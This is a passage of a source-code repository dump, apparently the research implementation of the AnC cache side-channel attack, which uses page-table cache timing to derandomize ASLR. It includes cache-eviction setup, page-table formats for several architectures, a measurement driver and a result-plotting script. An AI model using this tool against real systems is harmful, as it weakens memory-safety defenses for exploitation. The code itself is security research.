size_t entry_size; 15 | size_t nentries; 16 | size_t table_size; 17 | size_t page_size; 18 | size_t ncache_entries; 19 | size_t npages; 20 | size_t slot_mask; 21 | }; 22 | 23 | struct page_format { 24 | const char *name; 25 | struct page_level *levels; 26 | size_t nlevels; 27 | int flags; 28 | }; 29 | 30 | #define PAGE_FORMAT_FILTER BIT(0) 31 | 32 | struct page_format *get_page_format(const char *name); 33 | struct page_format *get_default_page_format(void); 34 | void list_page_formats(FILE *f); 35 | -------------------------------------------------------------------------------- /include/path.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | int mkpath(const char *path); 9 | -------------------------------------------------------------------------------- /include/profile.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include "macros.h" 12 | 13 | #if defined(__x86_64__) 14 | #include 15 | #elif defined(__aarch64__) 16 | #include 17 | #elif defined(__arm__) 18 | #include 19 | #else 20 | #error unsupported architecture. 21 | #endif 22 | 23 | int init_profiler(void); 24 | uint64_t profile_access(volatile char *p); 25 | 26 | void profile_page_table( 27 | uint64_t *timings, 28 | struct cache *cache, 29 | struct page_level *level, 30 | size_t n, 31 | size_t ncache_lines, 32 | size_t nrounds, 33 | volatile char *target, 34 | size_t stride); 35 | void filter_signals( 36 | uint64_t *timings, 37 | struct page_format *fmt, 38 | volatile void *target, 39 | size_t npages, 40 | size_t ncache_lines, 41 | size_t npages_per_line, 42 | size_t nlevel); 43 | unsigned profile_page_tables( 44 | unsigned *slot_error_distances, 45 | struct cache *cache, 46 | struct page_format *fmt, 47 | size_t nrounds, 48 | volatile void *target, 49 | size_t run, 50 | const char *output_path); 51 | -------------------------------------------------------------------------------- /include/shuffle.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "macros.h" 11 | 12 | void memswap(void *lhs, void *rhs, size_t n); 13 | void shuffle(void *data, size_t nmemb, size_t n); 14 | void generate_indicies(size_t *indicies, size_t num); 15 | -------------------------------------------------------------------------------- /include/solver.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "macros.h" 11 | 12 | void normalise_timings(double *ntimings, uint64_t *timings, 13 | size_t ncache_lines, size_t npages); 14 | double solve_line(double *timings, size_t line, size_t page, 15 | size_t ncache_lines, size_t npages, size_t npages_per_line); 16 | void solve_lines(size_t *best_line, size_t *best_page, 17 | double *timings, size_t ncache_lines, size_t npages, 18 | size_t npages_per_line); 19 | -------------------------------------------------------------------------------- /include/sysfs.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | int check_transparent_hugepages(void); 9 | 10 | -------------------------------------------------------------------------------- /include/thread.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | int pin_cpu(size_t i); 9 | -------------------------------------------------------------------------------- /include/x86-64/profile.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "config.h" 11 | 12 | typedef uint64_t cycles_t; 13 | 14 | extern volatile cycles_t timer_cycles; 15 | 16 | static inline void code_barrier(void) 17 | { 18 | asm volatile("cpuid\n" :: "a" (0) : "%rbx", "%rcx", "%rdx"); 19 | } 20 | 21 | static inline void data_barrier(void) 22 | { 23 | asm volatile("mfence\n" ::: "memory"); 24 | } 25 | 26 | static inline cycles_t rdtsc(void) 27 | { 28 | #if CONFIG_USE_RDTSCP 29 | cycles_t cycles_lo, cycles_hi; 30 | 31 | asm volatile("rdtscp\n" : 32 | "=a" (cycles_lo), "=d" (cycles_hi) :: 33 | "%rcx"); 34 | 35 | return ((uint64_t)cycles_hi << 32) | cycles_lo; 36 | #elif CONFIG_USE_RDTSC 37 | cycles_t cycles_lo, cycles_hi; 38 | 39 | asm volatile("rdtsc\n" : 40 | "=a" (cycles_lo), "=d" (cycles_hi)); 41 | return ((uint64_t)cycles_hi << 32) | cycles_lo; 42 | #else 43 | return timer_cycles; 44 | #endif 45 | } 46 | 47 | -------------------------------------------------------------------------------- /scripts/config: -------------------------------------------------------------------------------- 1 | CONFIG_USE_RDTSCP=y 2 | CONFIG_USE_RDTSC=n 3 | -------------------------------------------------------------------------------- /scripts/plot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import matplotlib 4 | matplotlib.use('Agg') 5 | 6 | import os 7 | import sys 8 | import argparse 9 | import numpy as np 10 | import matplotlib.pyplot as plt 11 | import matplotlib.patches as patches 12 | from matplotlib.backends.backend_pdf import PdfPages 13 | 14 | def get_cpu_name(): 15 | if 'darwin' == sys.platform: 16 | return os.popen("sysctl -n machdep.cpu.brand_string").read().strip() 17 | 18 | with open('/proc/cpuinfo') as f: 19 | for line in f: 20 | if line.startswith('model name'): 21 | return line.split(':', 1)[-1].strip() 22 | 23 | return 'unknown CPU' 24 | 25 | def plot_levels(input, attempt, output, cpu_name): 26 | page_table_size = 1024 * 4 27 | ncache_lines = page_table_size / 64 28 | 29 | expected = np.loadtxt(os.path.join(input, '{}-reference.csv'.format(attempt))) 30 | solutions = np.loadtxt(os.path.join(input, '{}-solutions.csv'.format(attempt))) 31 | 32 | with PdfPages(output) as pdf: 33 | for i in range(1, len(expected) + 1): 34 | plt.figure() 35 | data = np.loadtxt(os.path.join(input, '{}-level{}.csv'.format(attempt, i))) 36 | data = np.array([(row - np.min(row)) / ((np.max(row) - np.min(row) or np.max(row))) for row in data]) 37 | #data = data > 0.1 38 | 39 | plt.pcolormesh(data, cmap=plt.cm.Blues, vmin=0, vmax=1) 40 | 41 | [npages_per_line, line, page] = expected[i - 1] 42 | 43 | ys = np.arange(0, data.shape[0] + npages_per_line, npages_per_line) - page 44 | xs = (line + (ys + page) // npages_per_line) % data.shape[1] 45 | 46 | for x, y in zip(xs, ys): 47 | rect = patches.Rectangle((x, y), 1, npages_per_line, linewidth=1, 48 | edgecolor='lime', facecolor='none', hatch='/' * 8) 49 | plt.gca().add_patch(rect) 50 | 51 | [npages_per_line, line, page] = solutions[i - 1] 52 | 53 | ys = np.arange(0, data.shape[0] + npages_per_line, npages_per_line) - page 54 | xs = (line + (ys + page) // npages_per_line) % data.shape[1] 55 | 56 | for x, y in zip(xs, ys): 57 | rect = patches.Rectangle((x, y), 1, npages_per_line, linewidth=1, 58 | edgecolor='red', facecolor='none') 59 | plt.gca().add_patch(rect) 60 | 61 | plt.xlabel('Cache line offset in page table') 62 | plt.ylabel('Consecutive pages') 63 | plt.axis([0, data.shape[1], 0, data.shape[0]]) 64 | plt.title('Level {} signal'.format(i)) 65 | 66 | pdf.savefig() 67 | plt.close() 68 | 69 | d = pdf.infodict() 70 | d['Title'] = 'AnC signal ({})'.format(cpu_name) 71 | 72 | def main(): 73 | parser = argparse.ArgumentParser() 74 | parser.add_argument('-i', '--input', action='store', default='results') 75 | parser.add_argument('-o', '--output', action='store', default='mmugram.pdf') 76 | parser.add_argument('--cpu-name', action='store') 77 | parser.add_argument('--attempt', action='store', type=int, 78 | default=0) 79 | args = parser.parse_args() 80 | 81 | plot_levels(args.input, args.attempt, args.output, 82 | args.cpu_name or get_cpu_name()) 83 | 84 | if __name__ == '__main__': 85 | main() 86 | -------------------------------------------------------------------------------- /source/anc.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "args.h" 14 | #include "buffer.h" 15 | #include "cache.h" 16 | #include "paging.h" 17 | #include "profile.h" 18 | #include "shuffle.h" 19 | #include "sysfs.h" 20 | #include "thread.h" 21 | #include "macros.h" 22 | #include "path.h" 23 | 24 | #if defined(__i386__) || defined(__x86_64__) 25 | #include 26 | #include 27 | #endif 28 | 29 | int main(int argc, const char *argv[]) 30 | { 31 | struct args args = { 32 | .npages = { 128, 128, 128, 128 }, 33 | .nentries = { SIZE_MAX, SIZE_MAX, SIZE_MAX, SIZE_MAX }, 34 | .nrounds = 10, 35 | .line_size = 64, 36 | .nruns = 1, 37 | .output = "results" 38 | }; 39 | struct buffer *buffer; 40 | struct cache *cache; 41 | struct page_format *page_format; 42 | size_t run; 43 | size_t i; 44 | unsigned num_errors = 0; 45 | unsigned total_slot_errors = 0; 46 | unsigned total_slot_error_distances = 0; 47 | unsigned slot_errors; 48 | int ret = -1; 49 | 50 | if (check_transparent_hugepages()) { 51 | dprintf("transparent huge pages seem to be enabled.\n" 52 | "please run 'echo \"never\" > /sys/kernel/mm/transparent_hugepage/" 53 | "enabled' as root.\n"); 54 | return -1; 55 | } 56 | 57 | if (parse_args(&args, argc, argv) < 0) { 58 | show_usage(argv[0]); 59 | return -1; 60 | } 61 | 62 | detect_args(&args); 63 | 64 | if (!args.line_size) { 65 | dprintf("unable to detect line size, please specify the cache " 66 | "line size using --line-size.\n"); 67 | return -1; 68 | } 69 | 70 | if (!args.cache_size) { 71 | dprintf("unable to detect cache size, please specify the " 72 | "cache size using --cache-size.\n"); 73 | return -1; 74 | } 75 | 76 | if (!(page_format = get_page_format_from_args(&args))) { 77 | dprintf("unknown page format '%s', please use " 78 | "--list-page-formats to list all available page " 79 | "formats and specify the page format using " 80 | "--page-format.\n", args.page_format); 81 | return -1; 82 | } 83 | 84 | if (mkpath(args.output) < 0) { 85 | fprintf(stderr, "error: unable to create output directory on path '%s'!\n", args.output); 86 | return -1; 87 | } 88 | 89 | print_args(stdout, &args, page_format); 90 | 91 | if (init_profiler() < 0) { 92 | dprintf("unable to set up the profiler.\n"); 93 | return -1; 94 | } 95 | 96 | if (pin_cpu(args.cpu) != 0) { 97 | dprintf("unable to pin the thread.\n"); 98 | return -1; 99 | } 100 | 101 | if (!(buffer = new_buffer(page_format, (void *)args.target))) { 102 | dprintf("unable to allocate the target buffer.\n"); 103 | return -1; 104 | } 105 | 106 | if (!(cache = new_cache(page_format, NULL, args.cache_size, args.line_size))) { 107 | dprintf("unable to allocate the eviction set.\n"); 108 | goto err_del_buffer; 109 | } 110 | 111 | #if defined(__i386__) || defined(__x86_64__) 112 | printf("Detected CPU name: %s\n\n", cpuid_get_cpu_name()); 113 | #endif 114 | 115 | srand(time(0)); 116 | 117 | printf("Target VA: %p\n", buffer->data); 118 | 119 | for (run = 0; run < args.nruns; ++run) { 120 | printf("\n ---- RUN %zu ----\n", run); 121 | 122 | unsigned slot_error_distances[page_format->nlevels]; 123 | slot_errors = profile_page_tables(slot_error_distances, cache, page_format, args.nrounds, buffer->data, run, args.output); 124 | 125 | num_errors += (slot_errors > 0); 126 | total_slot_errors += slot_errors; 127 | 128 | for (i = 0; i < slot_errors; ++i) 129 | total_slot_error_distances += slot_error_distances[i]; 130 | } 131 | 132 | printf("\n ---- STATISTICS ----\n"); 133 | printf("Failures: %u (%lf%%, %zu total)\n", 134 | num_errors, 135 | (double)num_errors / args.nruns * 100, 136 | args.nruns); 137 | printf("Slot errors: %u (%lf%%, %zu total, %lf per run)\n", 138 | total_slot_errors, 139 | (double)total_slot_errors / (args.nruns * page_format->nlevels) * 100, 140 | args.nruns * page_format->nlevels, 141 | (double)total_slot_errors / args.nruns); 142 | printf("Total slot error distances: %u (%lf per run)\n", 143 | total_slot_error_distances, 144 | (double)total_slot_error_distances / args.nruns); 145 | 146 | ret = 0; 147 | del_cache(cache); 148 | 149 | err_del_buffer: 150 | del_buffer(buffer); 151 | 152 | if (args.page_format) 153 | free(args.page_format); 154 | 155 | return ret; 156 | } 157 | -------------------------------------------------------------------------------- /source/args.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | #include "args.h" 14 | #include "paging.h" 15 | 16 | int parse_addr(uintptr_t *addr, const char *s) 17 | { 18 | if (*s++ != '0') 19 | return -1; 20 | 21 | if (*s++ != 'x') 22 | return -1; 23 | 24 | *addr = (uintptr_t)strtoull(s, NULL, 16); 25 | 26 | return 0; 27 | } 28 | 29 | int parse_size(size_t *size, const char *s) 30 | { 31 | char *end; 32 | 33 | *size = strtoul(s, &end, 10); 34 | 35 | switch (toupper(*end)) { 36 | #if defined(TIB) 37 | case 'T': *size *= 1024; 38 | #endif 39 | case 'G': *size *= 1024; 40 | case 'M': *size *= 1024; 41 | case 'K': *size *= 1024; 42 | case 'B': ++end; break; 43 | case '\0': return 0; 44 | default: return -1; 45 | } 46 | 47 | if (*end) 48 | return -1; 49 | 50 | return 0; 51 | } 52 | 53 | int parse_array(size_t *values, size_t nvalues, const char *s) 54 | { 55 | const char *p = s; 56 | char *end; 57 | size_t i; 58 | 59 | for (i = 0; i < nvalues; ++i) { 60 | p += strspn(p, " "); 61 | 62 | if (*p == '-') { 63 | p++; 64 | continue; 65 | } 66 | 67 | values[i] = strtoul(p, &end, 10); 68 | p = end; 69 | p += strspn(p, " "); 70 | 71 | if (*p == '\0') 72 | break; 73 | 74 | if (*p != ',') 75 | return -1; 76 | 77 | p++; 78 | } 79 | 80 | return 0; 81 | } 82 | 83 | void print_size(FILE *f, size_t size) 84 | { 85 | if (size == 0) { 86 | fprintf(f, "0"); 87 | #if defined(TIB) 88 | } else if (size % TIB == 0) { 89 | fprintf(f, "%zuT", size / TIB); 90 | #endif 91 | } else if (size % GIB == 0) { 92 | fprintf(f, "%zuG", size / GIB); 93 | } else if (size % MIB == 0) { 94 | fprintf(f, "%zuM", size / MIB); 95 | } else if (size % KIB == 0) { 96 | fprintf(f, "%zuK", size / KIB); 97 | } else { 98 | fprintf(f, "%zuB", size); 99 | } 100 | } 101 | 102 | void show_usage(const char *prog_name) 103 | { 104 | fprintf(stderr, 105 | "\n------------------------\n\n" 106 | "Usage: %s []\n" 107 | "On x86, the tuning arguments are auto-detected, but can be " 108 | "overridden by providing the corresponding arguments. On ARM, " 109 | "there is no detection.\n" 110 | "\n" 111 | "More help:\n" 112 | " --list-page-formats: shows the supported page formats for " 113 | "the current architecture.\n" 114 | "\n" 115 | "General arguments:\n" 116 | " -h, --help: shows this help message\n" 117 | " -o, --output : path to the directory in which to store the " 118 | "results (default './results')\n" 119 | " -n, --runs : number of runs to perform with the same VA and " 120 | "eviction buffers (default 1)\n" 121 | " -r, --rounds : number of measurement rounds (median " 122 | "is chosen, default 10)\n" 123 | "\n" 124 | "Tuning arguments:\n" 125 | " -s, --cache-size : total cache size to evict (LLC " 126 | "size if include, otherwise sum of the size of all caches), " 127 | "for example 2M\n" 128 | " -l, --line-size : LLC line length in bytes (default " 129 | "64)\n" 130 | " -f, --page-format : the page format to use for the " 131 | "current architecture (see --list-page-formats)\n" 132 | " --target : the address to allocate the target buffer " 133 | "at.\n" 134 | "\n" 135 | "Per-page level tuning arguments:\n" 136 | " --pl[1-4]-entries : number of entries to access to " 137 | "effectively evict the page structure caches or the TLB\n" 138 | " --pl[1-4]-pages : number of pages to evict cache " 139 | "lines for.\n", 140 | prog_name); 141 | } 142 | 143 | #if defined(__i386__) || defined(__x86_64__) 144 | #include 145 | #include 146 | 147 | void detect_args(struct args *args) 148 | { 149 | union cache_desc cache_descs[32], *cache_desc; 150 | size_t nentries[4] = {0, 0, 0, 0}; 151 | size_t ncache_descs, i; 152 | 153 | ncache_descs = get_cache_descs(cache_descs, 32); 154 | 155 | args->cache_size = 0; 156 | args->line_size = 0; 157 | 158 | for (i = 0; i < ncache_descs; ++i) { 159 | cache_desc = cache_descs + i; 160 | 161 | print_cache_desc(cache_desc); 162 | 163 | switch (get_cache_desc_type(cache_desc)) { 164 | case CACHE_DESC_TLB: 165 | if (!(cache_desc->flags & CACHE_DESC_DATA)) 166 | break; 167 | 168 | if ((cache_desc->tlb.page_size & TLB_4K_PAGE)) { 169 | nentries[0] += cache_desc->tlb.nentries; 170 | } 171 | 172 | if ((cache_desc->tlb.page_size & TLB_2M_PAGE)) { 173 | nentries[1] += cache_desc->tlb.nentries; 174 | } 175 | 176 | if ((cache_desc->tlb.page_size & TLB_1G_PAGE)) { 177 | nentries[2] += cache_desc->tlb.nentries; 178 | } 179 | 180 | break; 181 | case CACHE_DESC_CACHE: 182 | if (!(cache_desc->flags & CACHE_DESC_DATA)) 183 | break; 184 | 185 | args->line_size = max(args->line_size, 186 | cache_desc->cache.line_size); 187 | args->cache_size = max(args->cache_size, 188 | cache_desc->cache.size); 189 | break; 190 | default: break; 191 | } 192 | } 193 | 194 | for (i = 0; i < 4; ++i) { 195 | if (args->nentries[i] == SIZE_MAX) 196 | args->nentries[i] = nentries[i]; 197 | } 198 | } 199 | #else 200 | void detect_args(struct args *args) 201 | { 202 | size_t i; 203 | 204 | for (i = 0; i < 4; ++i) { 205 | if (args->nentries[i] == SIZE_MAX) 206 | args->nentries[i] = 0; 207 | } 208 | } 209 | #endif 210 | 211 | int parse_args(struct args *args, int argc, const char *argv[]) 212 | { 213 | struct option options[] = { 214 | { "help", no_argument, NULL, OPTION_HELP }, 215 | { "cpu", required_argument, 0, OPTION_CPU }, 216 | { "target", required_argument, 0, OPTION_TARGET }, 217 | { "evict-target", required_argument, 0, OPTION_EVICT_TARGET }, 218 | { "line-size", required_argument, 0, OPTION_LINE_SIZE }, 219 | { "cache-size", required_argument, 0, OPTION_CACHE_SIZE }, 220 | { "rounds", required_argument, 0, OPTION_ROUNDS }, 221 | { "tlb-entries", required_argument, 0, OPTION_PL1_ENTRIES }, 222 | { "pl-entries", required_argument, 0, OPTION_PL_ENTRIES }, 223 | { "pl1-entries", required_argument, 0, OPTION_PL1_ENTRIES }, 224 | { "pl2-entries", required_argument, 0, OPTION_PL2_ENTRIES }, 225 | { "pl3-entries", required_argument, 0, OPTION_PL3_ENTRIES }, 226 | { "pl4-entries", required_argument, 0, OPTION_PL4_ENTRIES }, 227 | { "pl-pages", required_argument, 0, OPTION_PL_PAGES }, 228 | { "pl1-pages", required_argument, 0, OPTION_PL1_PAGES }, 229 | { "pl2-pages", required_argument, 0, OPTION_PL2_PAGES }, 230 | { "pl3-pages", required_argument, 0, OPTION_PL3_PAGES }, 231 | { "pl4-pages", required_argument, 0, OPTION_PL4_PAGES }, 232 | { "page-format", required_argument, 0, OPTION_PAGE_FORMAT }, 233 | { "list-page-formats", no_argument, NULL, 234 | OPTION_LIST_PAGE_FORMATS }, 235 | { "runs", required_argument, 0, OPTION_RUNS }, 236 | { "threshold", required_argument, 0, OPTION_THRESHOLD }, 237 | { "output", required_argument, 0, OPTION_OUTPUT }, 238 | { NULL, 0, 0, 0 }, 239 | }; 240 | int ret; 241 | 242 | while ((ret = getopt_long(argc, (char * const *)argv, "hc:l:n:s:f:r:o:", 243 | options, NULL)) >= 0) { 244 | switch (ret) { 245 | case OPTION_HELP: return -1; 246 | case OPTION_CPU: 247 | args->cpu = strtoul(optarg, NULL, 10); 248 | break; 249 | case OPTION_TARGET: 250 | if ((parse_addr(&args->target, optarg)) < 0) 251 | return -1; 252 | 253 | break; 254 | case OPTION_EVICT_TARGET: 255 | if ((parse_addr(&args->evict_target, optarg)) < 0) 256 | return -1; 257 | 258 | break; 259 | case OPTION_LINE_SIZE: 260 | if ((parse_size(&args->line_size, optarg)) < 0) 261 | return -1; 262 | 263 | break; 264 | case OPTION_CACHE_SIZE: 265 | if ((parse_size(&args->cache_size, optarg)) < 0) 266 | return -1; 267 | 268 | break; 269 | case OPTION_ROUNDS: 270 | if ((parse_size(&args->nrounds, optarg)) < 0) 271 | return -1; 272 | 273 | break; 274 | case OPTION_PL_ENTRIES: 275 | if ((parse_array(args->nentries, 4, optarg)) < 0) 276 | return -1; 277 | break; 278 | case OPTION_PL1_ENTRIES: 279 | case OPTION_PL2_ENTRIES: 280 | case OPTION_PL3_ENTRIES: 281 | case OPTION_PL4_ENTRIES: 282 | if ((parse_size(args->nentries + ret - 283 | OPTION_PL1_ENTRIES, optarg)) < 0) 284 | return -1; 285 | break; 286 | case OPTION_PL_PAGES: 287 | if ((parse_array(args->npages,4, optarg)) < 0) 288 | return -1; 289 | break; 290 | case OPTION_PL1_PAGES: 291 | case OPTION_PL2_PAGES: 292 | case OPTION_PL3_PAGES: 293 | case OPTION_PL4_PAGES: 294 | if ((parse_size(args->npages + ret - 295 | OPTION_PL1_PAGES, optarg)) < 0) 296 | return -1; 297 | 298 | break; 299 | case OPTION_PAGE_FORMAT: 300 | args->page_format = strdup(optarg); 301 | break; 302 | case OPTION_LIST_PAGE_FORMATS: 303 | fprintf(stderr, "Supported page formats: "); 304 | list_page_formats(stderr); 305 | fprintf(stderr, "\n\n"); 306 | return -1; 307 | case OPTION_RUNS: 308 | if ((parse_size(&args->nruns, optarg)) < 0) 309 | return -1; 310 | 311 | break; 312 | case OPTION_THRESHOLD: 313 | args->threshold = strtof(optarg, NULL); 314 | case OPTION_OUTPUT: 315 | args->output = strdup(optarg); 316 | break; 317 | default: 318 | break; 319 | } 320 | } 321 | 322 | return 0; 323 | } 324 | 325 | void print_args(FILE *f, struct args *args, struct page_format *fmt) 326 | { 327 | (void)fmt; 328 | fprintf(f, "Settings:\n" 329 | " runs: %zu\n" 330 | " rounds: %zu\n" 331 | " page format: %s\n" 332 | " cache size: ", 333 | args->nruns, 334 | args->nrounds, 335 | args->page_format ? args->page_format : "default"); 336 | print_size(f, args->cache_size); 337 | fprintf(f, "\n" 338 | " cache line size: "); 339 | print_size(f, args->line_size); 340 | fprintf(f, "\n\n"); 341 | } 342 | 343 | struct page_format *get_page_format_from_args(struct args *args) 344 | { 345 | struct page_format *fmt = NULL; 346 | struct page_level *level; 347 | size_t i; 348 | 349 | if (args->page_format && !(fmt = get_page_format(args->page_format))) 350 | return NULL; 351 | 352 | if (!fmt) 353 | fmt = get_default_page_format(); 354 | 355 | if (!fmt) 356 | return NULL; 357 | 358 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++level, ++i) { 359 | level->npages = args->npages[i]; 360 | level->ncache_entries = args->nentries[i]; 361 | } 362 | 363 | return fmt; 364 | } 365 | -------------------------------------------------------------------------------- /source/arm/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/arm/paging.o 6 | -------------------------------------------------------------------------------- /source/arm/paging.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include "macros.h" 9 | #include "paging.h" 10 | 11 | struct page_level arm_page_levels[] = { 12 | { 13 | .entry_size = sizeof(uint32_t), 14 | .nentries = 256, 15 | .table_size = 256 * sizeof(uint32_t), 16 | .page_size = 4 * KIB, 17 | .slot_mask = 0xff, 18 | }, 19 | { 20 | .entry_size = sizeof(uint32_t), 21 | /* actually 4096. */ 22 | .nentries = 1024, 23 | .table_size = 1024 * sizeof(uint32_t), 24 | .page_size = 1 * MIB, 25 | .slot_mask = 0x3ff, 26 | }, 27 | }; 28 | 29 | struct page_level arm_lpae_page_levels[] = { 30 | { 31 | .entry_size = sizeof(uint64_t), 32 | .nentries = 512, 33 | .table_size = 512 * sizeof(uint64_t), 34 | .page_size = 4 * KIB, 35 | .slot_mask = 0x1ff, 36 | }, 37 | { 38 | .entry_size = sizeof(uint64_t), 39 | .nentries = 512, 40 | .table_size = 512 * sizeof(uint64_t), 41 | .page_size = 2 * MIB, 42 | .slot_mask = 0x1ff, 43 | }, 44 | { 45 | .entry_size = sizeof(uint64_t), 46 | .nentries = 4, 47 | .table_size = 4 * sizeof(uint64_t), 48 | .page_size = 1 * GIB, 49 | }, 50 | }; 51 | 52 | struct page_format page_formats[] = { 53 | { "arm", arm_page_levels, 2, 0 }, 54 | { "arm-lpae", arm_lpae_page_levels, 2, PAGE_FORMAT_FILTER }, 55 | { NULL, 0, 0, 0 }, 56 | }; 57 | -------------------------------------------------------------------------------- /source/arm64/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/arm64/paging.o 6 | -------------------------------------------------------------------------------- /source/arm64/paging.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include "macros.h" 9 | #include "paging.h" 10 | 11 | struct page_level arm64_4k_page_levels[] = { 12 | { 13 | .entry_size = sizeof(uint64_t), 14 | .nentries = 512, 15 | .table_size = 512 * sizeof(uint64_t), 16 | .page_size = 4 * KIB, 17 | .slot_mask = 0x1ff, 18 | }, 19 | { 20 | .entry_size = sizeof(uint64_t), 21 | .nentries = 512, 22 | .table_size = 512 * sizeof(uint64_t), 23 | .page_size = 2 * MIB, 24 | .slot_mask = 0x1ff, 25 | }, 26 | { 27 | .entry_size = sizeof(uint64_t), 28 | .nentries = 512, 29 | .table_size = 512 * sizeof(uint64_t), 30 | .page_size = 1 * GIB, 31 | .slot_mask = 0x1ff, 32 | }, 33 | { 34 | .entry_size = sizeof(uint64_t), 35 | .nentries = 512, 36 | .table_size = 512 * sizeof(uint64_t), 37 | .page_size = 512 * GIB, 38 | .slot_mask = 0x1ff, 39 | }, 40 | }; 41 | 42 | struct page_level arm64_16k_page_levels[] = { 43 | { 44 | .entry_size = sizeof(uint64_t), 45 | .nentries = 2048, 46 | .table_size = 2048 * sizeof(uint64_t), 47 | .page_size = 16 * KIB, 48 | .slot_mask = 0x7ff, 49 | }, 50 | { 51 | .entry_size = sizeof(uint64_t), 52 | .nentries = 2048, 53 | .table_size = 2048 * sizeof(uint64_t), 54 | .page_size = 32 * MIB, 55 | .slot_mask = 0x7ff, 56 | }, 57 | { 58 | .entry_size = sizeof(uint64_t), 59 | .nentries = 2048, 60 | .table_size = 2048 * sizeof(uint64_t), 61 | .page_size = 64 * GIB, 62 | .slot_mask = 0x7ff, 63 | }, 64 | { 65 | .entry_size = sizeof(uint64_t), 66 | .nentries = 2, 67 | .table_size = 2 * sizeof(uint64_t), 68 | .page_size = 128 * TIB, 69 | }, 70 | }; 71 | 72 | struct page_level arm64_64k_page_levels[] = { 73 | { 74 | .entry_size = sizeof(uint64_t), 75 | .nentries = 8192, 76 | .table_size = 8192 * sizeof(uint64_t), 77 | .page_size = 64 * KIB, 78 | .slot_mask = 0x1fff, 79 | }, 80 | { 81 | .entry_size = sizeof(uint64_t), 82 | .nentries = 8192, 83 | .table_size = 8192 * sizeof(uint64_t), 84 | .page_size = 512 * MIB, 85 | .slot_mask = 0x1fff, 86 | }, 87 | { 88 | .entry_size = sizeof(uint64_t), 89 | .nentries = 64, 90 | .table_size = 64 * sizeof(uint64_t), 91 | .page_size = 4 * TIB, 92 | .slot_mask = 0x3f, 93 | }, 94 | }; 95 | 96 | struct page_format page_formats[] = { 97 | { "arm64-4K-va39", arm64_4k_page_levels, 3, PAGE_FORMAT_FILTER }, 98 | { "arm64-4K-va48", arm64_4k_page_levels, 4, PAGE_FORMAT_FILTER }, 99 | { "arm64-16K", arm64_16k_page_levels, 4, PAGE_FORMAT_FILTER }, 100 | { "arm64-64K", arm64_64k_page_levels, 3, PAGE_FORMAT_FILTER }, 101 | { NULL, 0, 0, 0 }, 102 | }; 103 | 104 | -------------------------------------------------------------------------------- /source/bsd/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/posix/buffer.o 6 | obj-y += source/posix/cache.o 7 | obj-y += source/posix/path.o 8 | obj-y += source/posix/sysfs.o 9 | obj-y += source/bsd/thread.o 10 | -------------------------------------------------------------------------------- /source/bsd/thread.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. 